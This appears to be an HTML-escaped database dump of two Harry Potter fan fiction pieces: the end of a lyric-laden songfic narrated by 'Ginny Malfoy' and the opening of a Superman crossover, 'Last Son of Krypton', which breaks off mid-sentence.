wasn\'t there. I\nshrugged it off and decided that he probably overslept or ate already. I sat\nnext to my brother and grabbed a piece of toast.</p>\n\n\n\n<p>\n\nI didn\'t want to wake him up on a Saturday so I went to take\na stroll around the castle. After all, I had been there for so long, but I\nnever really got to take it all in. As I walked, I heard someone sobbing. I\nconcluded that it was probably a painting or something and I shouldn\'t worry\nabout it.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nI never lived before your love <br>\nI never felt before your touch <br>\nI never needed anyone to make me feel alive <br>\nBut then again I wasn\'t really living <br>\nI never lived, I never lived before your love</i> </p>\n\n\n\n<p>\n\nI was walking, still, and I caught sight of a magnificent\npainting. It was so incredible. I couldn\'t take my eyes off of it. There was a\nsun setting behind a hill and two people having a picnic under a tree. They\nwere just holding each other and they looked so......in love. I wished I had\nthat. I wished I had someone to hold and to love. Then I saw him.</p>\n\n\n\n<p>\n\nHe was sitting on a staircase. His head was buried in his\nhands and, I swear, it looked like there was a river flowing in front of him. I\nsaid his name under my breath so that he would know I was there. He didn\'t\nacknowledge me, but I knew he felt my presence. I sat down next to him and put\nmy head on his shoulder. He never said that anything was wrong, but I just\nsensed it. When he looked up, with those tears in his eyes, I could\'ve dissolved\ninto thin air. He looked like someone died; someone close to him. And, again, I\ncould\'ve melted when I realized what it was. His mum.</p>\n\n\n\n<p><i>\n\nI\'ll always remember</i></p>\n\n\n\n<p><i>\n\nIt was late afternoon</i></p>\n\n\n\n<p><i>\n\nIt lasted forever</i></p>\n\n\n\n<p><i>\n\nAnd ended too soon</i></p>\n\n\n\n<p><i>\n\nYou were all by yourself</i></p>\n\n\n\n<p><i>\n\nStaring up at a dark gray sky</i></p>\n\n\n\n<p><i>\n\nI was changed</i></p>\n\n\n\n<p>\n\nHe told me everything. His father had taken her with him to\nsee &quot;the Master.&quot; Only to find out, he was sentenced to death. The\nevil git didn\'t want any witnesses so he killed her too. Aurors trapped the\n&quot;Dark Lord&quot; but not on time. He was killed immediately, but they\ncouldn\'t do anything for the two victims.</p>\n\n\n\n<p><i>\n\nIn places no one would find</i></p>\n\n\n\n<p><i>\n\nAll your feelings so deep inside </i></p>\n\n\n\n<p><i>\n\nIt was then that I realized</i></p>\n\n\n\n<p><i>\n\nThat forever was in your eyes</i></p>\n\n\n\n<p><i>\n\nThe moment I saw you cry</i></p>\n\n\n\n<p>\n\nI was devastated and so was he. I didn\'t know what to say\nand I don\'t think he wanted to say anything. I had never seen him cry before\nand I don\'t think it was something he was accustomed to. I held him. I finally\nheld him, but not in the way I wanted. I will always remember that day.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nThere\'s something about the look in your eyes <br>\nSomething I noticed when the light was just right <br>\nIt reminded me twice that I was alive <br>\nAnd it reminded me that you\'re so worth the fight</i></p>\n\n\n\n<p>\n\nThis was the perfect time to tell him; tell him everything.\nI wanted to tell him that I wanted to be with him. I wanted to kiss him. I\nwanted to love him. Not now. Not like this. Not while he\'s mourning. That would\nbe selfish. What if he doesn\'t feel the same? I couldn\'t live with myself if I\nknew the answer to that. It was probably ....wait</p>\n\n\n\n<p>\n\n....definitely no.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nHave you ever been in love <br>\nBeen in love so bad <br>\nYou\'d do anything <br>\nTo make them understand <br>\nHave you ever had someone <br>\nSteal your heart away <br>\nYou\'d give anything, oh <br>\nTo make them feel the same</i></p>\n\n\n\n<p>\n\nA year past and he got over it. I did too, the whole me\nliking him thing. On the train to my sixth year, I sat in an empty compartment,\nlooking out the window. He came in looking happy, but his eyes didn\'t look it.\nI didn\'t say anything and I moved on. He said he wanted to tell me something,\nbut not there. He wanted to wait until my birthday to tell me. I was suspicious\nbut I complied. What could he possibly want?</p>\n\n\n\n<p style="line-height:200%"><i>\n\nGirl when we started baby we were friends <br>\nBut that\'s not how this fairy tale is gonna end <br>\nSee I was thinking then it clicked one day <br>\nThat no one else has ever made me feel this way <br>\nThe next time I saw you girl I knew I had to try <br>\nTo tell you everything that I was feeling deep inside <br>\nAnd listen good cause what I say is from my heart</i></p>\n\n\n\n<p>\n\nFinally, October came and so did the first trip to\nHogsmeade. I thought he would want to take me to there and talk to me, but, in\nreality, he wanted to stay in the castle. The younger students had things to do\nso the grounds were nearly empty. He met me in the entrance hall and told me to\nclose my eyes. As I walked outside, through the humongous doors, he led me to a\nconfined place.</p>\n\n\n\n<p><i>\n\nWhen I was alone </i></p>\n\n\n\n<p><i>\n\nYou came around</i></p>\n\n\n\n<p><i>\n\nWhen I was down</i></p>\n\n\n\n<p><i>\n\nYou pulled me through</i></p>\n\n\n\n<p><i>\n\nAnd there\'s nothing that</i></p>\n\n\n\n<p><i>\n\nI wouldn\'t do for you</i></p>\n\n\n\n<p>\n\nWhen I opened my eyes, I saw a blanket laying on the ground\nand a basket next to it. He had remembered my birthday when nobody else had. He\ntold me he was sorry that we had to stay at school instead of going to\nHogsmeade, but his face lit up when I told him it was exactly what I wanted;\nalone time with my best friend. We ate and talked and laughed and had a wicked\ntime.</p>\n\n\n\n<p><i>\n\nThis is the place where I sit</i></p>\n\n\n\n<p><i>\n\nThis is the part where I love you too much</i></p>\n\n\n\n<p><i>\n\nThis is as hard as it gets?</i></p>\n\n\n\n<p><i>\n\nCuz I\'m getting tired of pretending I\'m tough</i></p>\n\n\n\n<p><i>\n\nI\'m here if you want me</i></p>\n\n\n\n<p><i>\n\nI\'m yours, you can hold me</i></p>\n\n\n\n<p><i>\n\nI\'m empty and achin\'</i></p>\n\n\n\n<p><i>\n\nand tumblin\' and breakin\'</i></p>\n\n\n\n<p>\n\nI still felt the same way about him as I did the year\nbefore- maybe even stronger. To make matters worse, guess what he did? Guess\nwhat that awful prat did? HE SANG TO ME! He sang the most wonderful song to me\nthat anyone could. He sang this song called &quot;Everything&quot; written by\nthis band called &quot;Lifehouse.&quot;</p>\n\n\n\n<p><i>\n\nyou won\'t let me fall</i></p>\n\n\n\n<p><i>\n\nyou still my heart</i></p>\n\n\n\n<p><i>\n\nand you take my breath away</i></p>\n\n\n\n<p><i>\n\nwould you take me in</i></p>\n\n\n\n<p><i>\n\nwould you take me deeper now</i></p>\n\n\n\n<p><i>\n\n\'cause you\'re all i want</i></p>\n\n\n\n<p><i>\n\nyou are all i need</i></p>\n\n\n\n<p><i>\n\nyou are everything</i></p>\n\n\n\n<p><i>\n\neverything</i></p>\n\n\n\n<p>\n\nI don\'t know who the heck they are, but damn! That song made\nmy heart ache. It made me want to tell him all that I was feeling. Then it hit\nme. What if, through this song, he was telling me something? That he wanted me\nlike I wanted him? No....it couldn\'t be. Maybe he picked it because it\'s a cute\nsong. Maybe.......</p>\n\n\n\n<p style="line-height:200%"><i>\n\nI\'m tugging at my hair <br>\nI\'m pulling at my clothes <br>\nI\'m trying to keep my cool <br>\nI know it shows <br>\nI\'m staring at my feet <br>\nMy checks are turning red <br>\nI\'m searching for the words inside my head</i></p>\n\n\n\n<p>\n\nI asked him about it. He looked away and started pulling at\nhis clothes. I giggled and I could feel my cheeks turn red. He told me that he\nloved having me as a friend and that he would die if he lost me. I find that\nfunny, but anyway........He said that lately, as in the past few months, he\'s\nbeen feeling fidgety around me. I told him that he didn\'t look it, but all he\nsaid was that looks could be deceiving.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nI\'m feeling nervous<br>\nTrying to be so perfect <br>\nCause I know you\'re worth it</i></p>\n\n\n\n<p>\n\nHe took my hand in his and looked in my eyes. I grew stiff.\nMy heart started racing. I didn\'t know what to say or what to do. I just\nlistened. I actually believed that he was going to tell me what I wanted to\nhear. He said that he\'s been hiding his true feelings. He didn\'t know whether\nhe should tell me or not, but he decided that it was the right thing to do. He\nsaid...........</p>\n\n\n\n<p>\n\nHe said that he was gay. He said that he didn\'t tell anyone.\nHe had known for months. He just didn\'t know how to break it to me. My eyes\nfilled with tears and I just started to bawl. He was confused at my actions but\nI didn\'t know what to tell him. I\'m proud of you for telling me? I\'ll support\nyou through thick and thin? I love you like a brother? That wasn\'t true. I\nloved him like I\'ve never loved anyone before. My heart leapt every time I saw\nhim. I just cried silently to myself, leaving him dumbstruck and, maybe even,\nashamed.</p>\n\n\n\n<p><i>\n\nOf all the things I\'ve believed in</i></p>\n\n\n\n<p><i>\n\nI just want to get it over with</i></p>\n\n\n\n<p><i>\n\nTears form behind my eyes</i></p>\n\n\n\n<p><i>\n\nBut I do not cry</i></p>\n\n\n\n<p><i>\n\nCounting the days that pass me by</i></p>\n\n\n\n<p>\n\nI got up and walked away from him. I couldn\'t look at him\nanymore. It was just too much. He ran after me. He told me that he was sorry\nand that he didn\'t want it to be this way. I just stood silent. When he stopped\ntalking, I walked away again. I just needed to be by myself. As soon as I\nwalked through the door I heard shouting. When I switched back to the real\nworld, I realized they were my friends and colleagues. They had remembered my\nbirthday after all.</p>\n\n\n\n<p>\n\nI couldn\'t help but smile when I saw them all laughing and\nhugging me. They told me it was his idea; my face dropped. I needed to get\naway. As much as I wanted to stay, the thought of seeing him again was\njust......hard to deal with. I ran through the crowd, pushing people out of my\nway. I ran as fast as I could to my room. I never made it that far. I tripped\nright as you turn to the see the portrait hole.</p>\n\n\n\n<p>\n\nI lay there just crying my eyes out. I couldn\'t think. I\ndidn\'t want to think. I just wanted to wither up and die. I felt someone say my\nname and I opened my eyes. It was he. He was smiling and was looking as hot as\nhell. I sat upright, but I didn\'t meet his eyes. I just played with my hair,\nlooking down. Finally, breaking the silence, he spoke.</p>\n\n\n\n<p><i>\n\nI know I should tell you how I feel</i></p>\n\n\n\n<p><i>\n\nI wish everyone would disappear</i></p>\n\n\n\n<p><i>\n\nEvery time you call me, I\'m too scared to be me</i></p>\n\n\n\n<p><i>\n\nAnd I\'m too shy to say</i></p>\n\n\n\n<p>\n\nHe said that it was all a joke. He wasn\'t really gay. He\njust thought that it would be a funny thing to do...at the time. I tried to\nfake a laugh but I couldn\'t. He tilted my chin up and kissed me. I pulled away\nimmediately. How could he say those things and then just kiss me like that?\nAfter I was crying too?! I shouted those things to him. He was taken aback. He\nhad never seen me this angry. I saw the sadness in his eyes and I just couldn\'t\nstay angry with him. And right at that moment I knew. I loved him. And I wanted\nto tell the whole world. I wanted to spend my whole life with him. I wanted to\ngrow old with him and have a family.</p>\n\n\n\n<p><i>\n\nA moment like this</i></p>\n\n\n\n<p><i>\n\nSome people wait a lifetime</i></p>\n\n\n\n<p><i>\n\nFor a moment like this</i></p>\n\n\n\n<p><i>\n\nSome people search forever</i></p>\n\n\n\n<p><i>\n\nFor that one special kiss </i></p>\n\n\n\n<p><i>\n\nI can\'t believe it\'s happening to me</i></p>\n\n\n\n<p><i>\n\nSome people wait a lifetime </i></p>\n\n\n\n<p><i>\n\nFor a moment like this</i></p>\n\n\n\n<p>\n\nI went back to where he was standing and just kissed him. It\nwas a soft, lovely kiss that I wished lasted forever. I told him everything. He\nsmiled when I finished and just wrapped his arms around me. We stood there,\njust holding each other.........</p>\n\n\n\n<p>\n\nHi. My name is Ginny Malfoy. This is my story..........</p>\n\n\n\n<p style="margin:0in;margin-bottom:.0001pt">&nbsp;</p>\n\n\n\n\n\n\n'),
	(183, 1, '\n\n\n\n\n\n<p>Last Son of Krypton </p>\n\n\n\n<p>A Harry Potter/Superman-Smallville crossover/fusion/whatever</p>\n\n\n\n<p>By Dragonlord</p>\n\n\n\n<p>C&amp;C welcome! </p>\n\n\n\n<p>E-mail: valheru_2002@yahoo.es </p>\n\n\n\n<p>Consults, chats, all kinds of advice and banter:&nbsp; yahoo\nmessenger&nbsp; valheru_2002</p>\n\n\n\n<p><u>Disclaimer</u>: It&#8217;s easy. You recognize\nsomething it&#8217;s not mine. Still if you want it all, Harry Potter and character\nrelated are the propriety of JK Rowling. Superman created by Jerry Siegel and\nJoe Shuster, D.C. Comics. </p>\n\n\n\n\n\n<p><u>Author&#8217;s Note</u>: a big thanks for Nappa and\nDauphin, for their help and kind words. Thanks to Nappa that didn&#8217;t stop\npestering me to finish this in a way that is only his. Thanks to Dauphin for\neverything, for using some of her precious time in this little fic of mine...</p>\n\n\n\n<p>This is for you two, because without you this (and what is to\ncome) wouldn&#8217;t be possible.&nbsp; </p>\n\n\n\n<p>From the bottom of my heart, thank you.</p>\n\n\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>Chapter One: From beyond the stars</p>\n\n<p>-------------------------------------------- </p>\n\n<p>--------------------------------------------</p>\n\n\n\n\n\n<p>James Potter was a lucky man.</p>\n\n\n\n<p>No one could say anything against that, as it was true.</p>\n\n\n\n<p>The only thing that could be seen against that belief was the\ntragic demise of his parents when he was in his sixth year at Hogwarts. That\nhad been a hard blow to the leader of the so called Marauders, but with the\nsupport of his best friends (said pranksters) and his love interest, Lily\nEvans, the young man had overcome it and, in opinion of those that knew him,\nlike Hogwarts&#8217; headmaster Albus Dumbledore, became stronger from the ordeal.</p>\n\n\n\n<p>James had everything a young wizard would want.</p>\n\n\n\n<p>He was well off - his family being one of the most\ninfluential amongst the pure-blooded families of Britain,\nthough few were able to claim as much nobility as the Potter family could,\ngiving James a large amount of respect in the wizarding world. </p>\n\n\n\n<p>Along with that he was without a doubt one of Hogwarts&#8217; most\nbrilliant students, almost as intelligent as Tom Riddle who was by far the most\nintelligent and clever student to ever grace the halls of the millennia old\nschool. And that was no mean feat, made greater by the fact that Riddle was a\ndirect descendant of one of the Hogwarts Four, maybe the more powerful of the\nfour founders; Salazar Slytherin. </p>\n\n\n\n<p>If that wasn&#8217;t enough he was popular amongst his peers, and\nwould be so even without his exceptional Quidditch skills as a chaser. Through\nthe years his popularity did nothing but increase, especially after he was\nselected to play for the England national team of said sport, helping\nsignificantly in their victories during the single World Cup he took part in.</p>\n\n\n\n<p>He had no problem in matters of the heart, for girls simply\nadored him. Being dashing, with raven black hair that seemed to have a will of\nits own or had never met a brush, only served to make him appear more adorable\namongst the girls at Hogwarts.</p>\n\n\n\n<p>He could have easily been a womanizer, like his friend Sirius\nwas (that still left to be proven) but he was so in love with Lily Evans that\nno other woman had crossed his mind (to the enormous indignation of his female\nadmirers - the wailing was horrible, I tell you!) ever since he had discovered\nthe difference between boys and girls. Since that moment Lily was the one for\nhim and, as things would be, his feelings were reciprocated.</p>\n\n\n\n<p>In fact it was a love so great and so pure that, to those\nthat knew the Potters, it was enough to brighten those dark times, with\nYou-Know-Who on the rampage, his mad quest for the&nbsp; extermination of the Muggle-born\nwizards and witches what would grant him the total dominion of the world\nswiftly blossoming to fruition. </p>\n\n\n\n<p>Not minding the dark times they were in, James and Lily\nmarried a couple of years after finishing Hogwarts, and for their honeymoon\nthey chose to visit the United States, their first destination being Hawaii\nwhere they would spend the first part of their time as newlyweds. From there\nthey would move through the states of the union to reach Canada before moving\nback to England where James would start working as an Auror while Lily would\nwork in the field in which she excelled at Hogwarts; ancient languages, both\nmagical and Muggle for the Ministry of Magic as one of their foremost experts.</p>\n\n\n\n<p>The trip had been a blast and that had brought them to his\ncurrent situation, some years later.</p>\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>&#8220;You&#8217;re doing it again?&#8221; asked Sirius as he helped his best\nfriend prepare his luggage. James was good in many things but in others he was\nhelpless. Normally Lily would be helping him, but as she was busy with a late\nproject that she had to finish before her holidays with James, she had\nentrusted the task to him. </p>\n\n\n\n<p>She had done so... even if she continually suspected that\nSirius Black, known prankster and all in all unreliable man, was about to pull\none of his so infamous pranks, like when he had somehow managed to take James\nto a Veela stripping contest in Bulgaria. </p>\n\n\n\n<p>How he had managed that particular task was still beyond\nLily. As far as she was able to put things together it had demanded a lot of Butterbeer\nand some underhanded tricks which, of course, were Sirius&#8217; specialty. </p>\n\n\n\n<p>James would say nothing and when she pressed the issue her\nhusband would turn as red as her hair which, in her book, was <i>extremely</i>\nsuspicious.</p>\n\n\n\n<p>James sighed as he looked, annoyed at his best friend, nay,\nhis brother-in-pranks.</p>\n\n\n\n<p>&#8220;How many times do I have to tell you that? Of course we are\ndoing it. Why would I be preparing my baggage if I wasn&#8217;t going?&#8221;</p>\n\n\n\n<p>Sirius laughed &#8220;Come on, Prongs, don&#8217;t get so sour... it&#8217;s\njust that there are many other things more amusing than crossing a country so\nhuge in a Muggle car, of all things, when you and Lils could be doing something\nbetter. You should just leave it to me...&#8221;</p>\n\n\n\n<p>James backed away from Sirius, worry starting to creep trough\nhis system.</p>\n\n\n\n<p>&#8220;Oh no. I know you Padfoot, old man, and I know that your\nidea of fun isn&#8217;t at all like Lily&#8217;s. You would get away from it but I would be\nforced to sleep on the couch again for a week instead of being in my\ncomfortable bed with my loving wife.&#8221;</p>\n\n\n\n<p>Sirius snorted &#8220;That&#8217;s just because you don&#8217;t know how to\ndeal with Lily. Take it from someone that has seen you at your worst regarding\nour pretty friend. You&#8217;re helpless and that&#8217;s the truth, while I could\nguarantee you to see a stripping Lily swearing and drinking like a Muggle\nsailor. *That* would be real fun.&#8221;</p>\n\n\n\n<p>James threw his friend a warming look. &#8220;You stay away from\nLily, her food and her things.&#8221;</p>\n\n\n\n<p>Sirius waved his hand in an dismissing notion, his face\nsolemn. &#8220;Of course. I would never even dream of doing something to Lily&#8217;s...\nthings.&#8221; A grin split his face. &#8220;I would make Moony do it of course.&#8221;</p>\n\n\n\n<p>&#8220;Get serious, will you?&#8221;</p>\n\n\n\n<p>&#8220;Serious? My name&#8217;s Sirius. Honestly, James after all these\nyears and you still make that mistake, tsk, tsk...&#8221;</p>\n\n\n\n<p>&#8220;Whatever. And don&#8217;t you <i>dare</i> use Remus in your\nhare-brained schemes...&#8221;</p>\n\n\n\n<p>Sirius sighed dramatically. &#8220;Okay, okay&#8230;bloody hell, Prongs!\nYou take all the fun from an old man like me...&#8221;</p>\n\n\n\n<p>&#8220;Old man? Ahem&#8230;As if! Mangy flea-infested dog now that...&#8221;</p>\n\n\n\n<p>&#8220;Hahaha... very funny! All right, no Remus... I&#8217;ll use Peter\nthen!&#8221;</p>\n\n\n\n<p>&#8220;Sirius Asdrubal Black! You...&#8221;</p>\n\n\n\n<p>Sirius winced, shooting his best friend an annoyed look. &#8220;Cut\nit James! You know I hate it when you call me by my full name!&#8221; At seeing\nJames&#8217;s triumphant grin, he relented, &#8220;Oh fine, if you want to go then do it...\nyou will come begging for my help once you realize what you have missed.&#8221;</p>\n\n\n\n<p>&#8220;Sure... and that will be the day Snape comes here confessing\nhis love for you. I can see it&#8230;Sirius come here, you stuffed muffin! Let&#8217;s do\nthe horizontal!&#8221;</p>\n\n\n\n<p>&#8220;Ugh! Don&#8217;t even joke about that!&#8221;</p>\n\n\n\n<p>&#8220;Then stop being a git and help me pack!&#8221;</p>\n\n\n\n<p>&#8220;You&#8217;re no fun.&#8221;</p>\n\n\n\n<p>&#8220;Bite me.&#8221;</p>\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>Far away from there... </p>\n\n\n\n\n\n<p>The small ship coursed trough the void of space, surrounded by\nwhat could only be asteroids or fragments of some planet.</p>\n\n\n\n<p>The journey had been long, very long, crossing galaxies and\nsolar systems and yet the craft had resisted everything to bring its passenger\nto its destination. His aging had been slowed from its natural curse, the body\nfeed by the energy reserves of the ship as it educated and formed the last son\nof a now long gone world as it was his programming.</p>\n\n\n\n<p>Soon they would reach the third planet of the small star\nsystem, where its passenger would meet his destiny.</p>\n\n\n\n<p>Soon...</p>\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>Three weeks later&nbsp; </p>\n\n\n\n<p>United States, </p>\n\n<p>Kansas</p>\n\n\n\n\n\n<p>James and Lily had followed their plan despite Sirius whining\nthat they would be better off with him in good old England. They were currently\nmoving from state to state, enjoying their free time and not really caring\nabout their destination as long as they were together.</p>\n\n\n\n<p>From time to time they changed cars, James leaving the\ndriving to Lily. He may have been a genius when it came to racing brooms but he\nhad no illusion about his skill behind a wheel. The ruddy contraption was\nalready intimidating enough for him to not risk trying to move it.</p>\n\n\n\n<p>On the contrary, Lily had a natural talent for driving and\nthe pleasure she took from driving at high speeds was comparable to the one her\nhusband had mounting his beloved broom. She couldn&#8217;t stand flying on what for\nyears she believed to be no more than a cleaning tool, but behind the wheel of\na car with her gleaming red hair whipped by the wind, the sun making it sparkle\nlike living fire, she felt powerful and free.</p>\n\n\n\n<p>&#8220;Will you slow down, you bloody maniac?!&#8221; yelled James as his\ngrip on the safety belt and other life-saving items had tightened considerably.\n&#8220;I don&#8217;t fancy dying young!&#8221;</p>\n\n\n\n<p>Lily&#8217;s bell-like laughter was the only answer, clear even\nwith the wind roaring in their ears. James looked to his wife, to her sparkling\nemerald green eyes that blazed in the sun and automatically relaxed.</p>\n\n\n\n<p>Gods, how he loved her!</p>\n\n\n\n<p>&#8220;Where is your sense of adventure, James? Where is the\nMarauder?&#8221; she teased him.</p>\n\n\n\n<p>&#8220;My sense of adventure is all right, thank you! As for the\nlocation of the Marauder, he is currently drafting his will because at this\nrate he is going to die from a heart attack and not from crashing in this\ninfernal creation!&#8221; he shouted back laughing.</p>\n\n\n\n<p>Lily grinned. &#8220;Well we wouldn&#8217;t want that right?&#8221; she said as\nshe decreased the car&#8217;s speed. </p>\n\n\n\n<p>That saved their lives.</p>\n\n\n\n<p>As soon as her foot rose from the gas pedal, blinding light\nfilled the couple&#8217;s eyes as something huge streaked just before them, impacting\nwith the road; tearing it apart, the sound pure chaos that left them deaf. The\nshockwave slammed&nbsp; against the front of the car as all sorts of debris hurtled\nagainst them at the same time, sending the car flying, then spinning madly in\nthe air and crashing into the now-smoking crater formed by the collision even\nas all around other meteorites impacted in the country side, raising walls of\ndust and burning fields, taking lives in the cities nearby.</p>\n\n\n\n<p>No sound came from the wrecked car. </p>\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>The first thing he was aware was of the pain coursing through\nhis body and how difficult it was to breathe. Opening his eyes was something\nthat James regretted immediately as the light hurt considerably.</p>\n\n\n\n<p>&lt;Okay... not one of your best ideas, Prongs, old friend.) </p>\n\n\n\n<p>Feeling his face and head, he could feel a hot liquid\nslipping through his fingers. It hurt like hell so he supposed that it was\nblood coming from some open wound, maybe in his face or scalp.</p>\n\n\n\n<p>His mental scan reported that his whole body hurt, but...\nsomething was missing, something important.</p>\n\n\n\n<p>James fought with his muddled mind, trying to remember what\nwas missing; what was that important to him.</p>\n\n\n\n<p>Suddenly it hit him like a ton of bricks, clearing his mind\nfrom everything else.</p>\n\n\n\n<p>&#8220;LILY!&#8221;</p>\n\n\n\n<p>With a jolt James was back to his senses, his body sending an\noverpowering message, the one of pain, not unlike the Cruciatus. </p>\n\n\n\n<p>But that wasn&#8217;t enough to stop him, not by a long shot, not\nwhen Lily needed him. </p>\n\n\n\n<p>Groaning, he tried to rise only to find his body failing and\nsending him crashing onto the dirt. Letting go of some swear words&nbsp; that would\nhave made Sirius proud, James tried it again, using all his mental strength and\nAuror training to keep back the painful sensations of his body&#8217;s injuries.</p>\n\n\n\n<p>Bit by bit he moved, his eyes blinking furiously to chase the\ndirt that was making his already failing vision worsen away. Once that was\nachieved he started looking around him, taking in the devastation he was currently\nsurrounded by.</p>\n\n\n\n<p>Smoke filled the air, burning his lungs and the trench in the\nground added more to the pandemonium in which he had found himself in. Snapping\nout of the trance of looking at such devastation he started looking for any\nsigns of his wife, trying not to pay any attention to the pain coming from his\nlegs. </p>\n\n\n\n<p>Fortunately he had not long to search as he soon found that\nthe car wasn&#8217;t that far away. Without a doubt he had been propelled from his\nseat through the top of the roofless car, the violence of the accident enough\nto snap the restrain of his security belt.</p>\n\n\n\n<p>Rushing to the car he started looking for Lily like a\nmaddened man.</p>\n\n\n\n<p>His madness bore fruits as&nbsp; he found her soon enough...</p>\n\n\n\n<p>And almost wished that he hadn&#8217;t.</p>\n\n\n\n<p>Somehow in the car crash Lily had been thrown from the car,\nbut to James&#8217;s horror the Muggle machine had crashed upon her. The only thing\nthat had prevented his wife from being cut in two was the trench the meteor had\nmade in its impact. Somehow it had lessened the force of the crashing car upon\nhis wife.</p>\n\n\n\n<p>Still it wasn&#8217;t pretty, with more than half of Lily&#8217;s body\ntrapped under the wrecked car and her blood running freely from a deep cut in\nher brow... for all he knew she could be dead.</p>\n\n\n\n<p>Kneeling near her he reached to find her pulse and it was\nwith relief that he found it, even if it was faint, very weak. Taking sight of\nher body James chose to think the worst, but not giving up on hope as long as\nshe lived still... she could have internal trauma or some other wound that he wasn&#8217;t\naware off, not with her body partially hidden.</p>\n\n\n\n<p>&lt;I have to move her from that thing... and fast!&gt;</p>\n\n\n\n<p>With only that driving necessity in his mind James tried to\nmove the wreck that was the rest of the sport&#8217;s car but soon found that to be\nnear impossible. Maybe if he had his wand he could do it but it was in the\nbaggage he had Lily had stored in the car and with the it&#8217;s actual state (not\nto mention the one of their belongings) finding something was as difficult as\nmoving the car by strength alone.</p>\n\n\n\n<p>Still James refused to surrender, forcing his body as much as\nhe could in his own wounded state. He wasn&#8217;t sure but it was becoming\nincreasingly difficult to breathe and a dull pain was rising from his chest. If\nhe wasn&#8217;t mistaken, he would guess that one (or many) of his ribs had broken\nand one of them was damaging one of his lungs.</p>\n\n\n\n<p>Grunting, his perspiration mingling with his own blood, James\npushed all he could, knowing very well that it would hurt him even more, but\nthinking nothing of it. Lily was the only one thing in his mind, compared to\nher, his suffering was nothing. </p>\n\n\n\n<p>Lily.</p>\n\n\n\n<p>She was his world, a million memories without her would be\nmeaningless, dull, incomplete. </p>\n\n\n\n<p>How the light of the sun played with her flame like hair,\ngleaming like the embers of a still, living fire. How her unmatched green eyes\nlooked at everything around her,&nbsp; and when they looked at <i>him</i>. Each time\nthey crossed their eyes a thousand caresses were exchanged, him finding the\nperfect match for the fire that burned within his heart, body and soul that was\nhis love for her. </p>\n\n\n\n<p>To him she was perfection even with all her faults and\nqualities. </p>\n\n\n\n<p>From her temper to her compassion, feeling nothing more than\npure <i>adoration</i> towards her and each of her little gestures... as when\nher small nose moved, wrinkled, in distaste when she discovered something that\nshe didn&#8217;t like but chose to say nothing for his sake; how the delicate\nfeatures of her gorgeous face always lit up when she gave him one of her\nbreathtaking smiles... </p>\n\n\n\n<p>How those pink, perfect lips felt upon his, the feeling of\ncompletion that assaulted him each time that they closed the distance\nseparating each other only to disappear when the contact was broken,&nbsp; leaving\nhim shaking and breathing hard... but craving, needing more of that feeling\nthan the very air his body required and as such kissing with a growing passion\nthat could never been satiated, only demanding more.&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>For her, for his very life he struggled with all the might he\ncould muster...</p>\n\n\n\n<p>Pushing...</p>\n\n\n\n<p>Grunting...</p>\n\n\n\n<p>Cursing...</p>\n\n\n\n<p>Swearing...</p>\n\n<p>&nbsp;</p>\n\n<p>He couldn&#8217;t know how many time had passed since he started\ntrying what he now knew to be impossible without magic, even after switching\npositions that allowed him to use more of his waning energy. But in the end,\nwith his vision blacking in and out he collapsed, his back supported by the\ncar.</p>\n\n\n\n<p>Weakly his right hand reached to one of Lily&#8217;s, its stillness\nbreaking his heart. Someone as full of life as Lily couldn&#8217;t be that lifeless. </p>\n\n\n\n<p>It was a sin, an aberration, a mockery of the light in her\nmarvelous emerald-like eyes.</p>\n\n\n\n<p>Rising it, James pressed the limp hand to his cheek, now wet\nwith tears and his own blood as he quietly sobbed. The only comfort was the\nknowledge that he wouldn&#8217;t survive much longer than her. He knew very well that\nif he didn&#8217;t get any medical help soon he would die, and yet, right now, he\ncouldn&#8217;t find the strength to care about it.</p>\n\n\n\n<p>He was about to close his eyes when the car shook, the sound\nof protesting metal filled the air as the car was lifted by an unknown force.\nThe surprise was enough to make James fall, his back no longer supported by the\nrests of the car crashed in the ground.</p>\n\n\n\n<p>With a reaction based purely on instincts he looked from his\ndowned position and what he saw was enough to make his mouth open and blink in\ndisbelief.</p>\n\n\n\n<p>There, holding the car in the air was a boy, barely an infant\nthat couldn&#8217;t have more than four or five years of age. His black hair was in\ndisarray, not unlike his own some part of James&#8217; brain supplied him. The young\nboy was grinning and his deep blue eyes, shining like sapphires under the light\nof the sun, twinkled with some repressed laughter. </p>\n\n\n\n<p>And from what James could see had no problem in keeping the\ncar up in the air.</p>\n\n\n\n<p>The impossibility of the situation almost froze James but at\nthat moment Lily groaned slightly. That was enough to snap him back to his\nsenses. Yet before he turned to his wife something else caught his eyes,\nsomething that made his heart swell with hope. </p>\n\n\n\n<p>It was a shiny little red suitcase, rather simple in its appearance\nbut to James it was one of the most beautiful things he had seen in his life.\nHe knew it was where they had put their magical belongings; from wands to his\never present special Portkey, and inventions of his own that today could make\nthe difference between life and death. </p>\n\n\n\n<p>He moved to reach it just when the boy threw the car away\nbefore dropping on all fours and crawling towards Lily. For a moment James\nlooked as the infant reached his wife and gazed at her with something that the\nyoung man believed to be concern in the small child&#8217;s big blue eyes.</p>\n\n\n\n<p>Then the toddler looked at him with imploring eyes and James\ncould only smile a little, even that small act hurting. &#8220; I know, little guy, I\nknow...&#8221; </p>\n\n\n\n<p>He literally tore open the suitcase that opposed with but\nscant resistance to his frantic efforts and it was with a growing desperation\nthat his hand reached his wand. The connection with it, the familiar warmth to\nbe again connected to his magic was like a phoenix song, filling his being with\nmad hope.</p>\n\n\n\n<p>His hand flashed and magical light streamed from the core of\nhis wand, enrobing the crashed car with ribbons of crimson energy,\ntransfiguring it into a stretcher. Then with the same expertise he applied to\nall his acts, his wand moved to point at his comatose wife.</p>\n\n\n\n<p>&#8220;Mobilicorpus.&#8221; white light flashed, the boy\ngiggling as he witnessed the whole show of light with a glee that in other\ncircumstances James would have found endearing. Lily&#8217;s motionless body rose\nand, with James controlling the flow of magic, was laid on the stretcher. </p>\n\n\n\n<p>Panting, James tucked his\nwand in his belt and took another item from the crimson suitcase. It was at\nfirst sight nothing more than an Muggle identity card that hung from a golden\nchain, but in reality it was a Portkey that James had created with the help of\nLily and some members of the Order of the Phoenix. </p>\n\n\n\n<p>Different from other Portkeys,\nthis one could switch destinations 